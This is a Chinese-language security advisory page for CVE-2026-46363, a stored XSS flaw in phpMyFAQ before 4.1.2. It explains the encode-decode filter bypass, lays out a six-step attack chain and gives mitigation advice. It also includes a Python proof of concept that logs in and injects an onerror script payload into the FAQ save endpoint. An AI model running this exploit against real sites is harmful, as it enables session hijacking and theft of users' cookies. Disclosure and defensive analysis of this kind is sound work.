IPBUF安全漏洞报告
English
CVE-2026-46363 CVSS 5.4 中危

CVE-2026-46363 phpMyFAQ 存储型XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-46363
漏洞类型
存储型跨站脚本
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
phpMyFAQ

相关标签

XSSphpMyFAQ存储型XSSWeb安全CVE-2026-46363

漏洞概述

phpMyFAQ 4.1.2 之前的版本中存在存储型跨站脚本漏洞。该漏洞出现在FAQ创建和更新接口,攻击者可以通过特定的编码-解码循环绕过输入过滤机制。拥有FAQ_ADD权限的攻击者可以在问题或答案字段中注入恶意脚本。当其他用户访问包含该FAQ的页面时,若内容使用raw Twig过滤器渲染,恶意脚本将在受害者浏览器中执行,导致会话劫持或信息泄露。

技术细节

该漏洞的核心在于应用程序的输入净化逻辑存在缺陷。尽管系统尝试过滤用户输入,但攻击者利用编码-解码循环成功绕过了这些安全检查。具体利用方式是,攻击者向FAQ的“问题”或“答案”参数提交经过特殊编码的恶意HTML标签(如<script>或<img>)。由于过滤机制无法正确处理这种编码转换,恶意代码被存储到数据库中。当后端使用Twig模板引擎渲染FAQ内容时,使用了`raw`过滤器,这导致变量内容不经过自动HTML转义。因此,存储的恶意JavaScript代码被直接发送到客户端并在浏览器中执行,形成存储型XSS攻击。

攻击链分析

STEP 1
1. 获取权限
攻击者注册或获取一个具有FAQ_ADD权限的账户。
STEP 2
2. 构造Payload
攻击者利用编码-解码循环技巧构造能够绕过过滤器的恶意脚本Payload。
STEP 3
3. 注入Payload
攻击者在创建或更新FAQ时,将恶意脚本注入到“问题”或“答案”字段中。
STEP 4
4. 存储数据
服务器未能正确过滤,将包含恶意脚本的FAQ内容存储在数据库中。
STEP 5
5. 触发漏洞
普通用户访问受感染的FAQ页面,服务器使用raw Twig过滤器渲染内容。
STEP 6
6. 执行代码
恶意脚本在受害者的浏览器中执行,窃取Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-46363 # This script demonstrates the injection of a payload into phpMyFAQ. # Requires authentication with FAQ_ADD permissions. import requests def exploit(target, username, password): session = requests.Session() # 1. Authenticate login_url = f"{target}/index.php?action=login" creds = {"username": username, "password": password} session.post(login_url, data=creds) # 2. Inject Payload (Simplified representation of encode-decode bypass) # The payload might need specific encoding to bypass the initial filter. # The 'raw' Twig filter ensures execution upon rendering. xss_payload = '<img src=x onerror=alert(1)>' add_faq_url = f"{target}/index.php?action=save" data = { "question": xss_payload, "answer": "This answer contains stored XSS.", "submit": "Save" } res = session.post(add_faq_url, data=data) if res.status_code == 200: print("[+] Payload injected successfully!") print(f"[+] Check the FAQ page at {target}/index.php?action=faq") else: print("[-] Injection failed.") # Usage # exploit("http://localhost/phpmyfaq", "admin", "password")

影响范围

phpMyFAQ < 4.1.2

防御指南

临时缓解措施
建议立即升级至 phpMyFAQ 4.1.2 或更高版本以修复此漏洞。在升级之前,应严格限制具有FAQ添加权限的用户账户,并部署Web应用防火墙(WAF)规则以检测和拦截针对FAQ提交接口的恶意脚本输入。同时,开发者应审查代码,确保所有用户生成的内容在输出到HTML上下文时都经过适当的转义处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表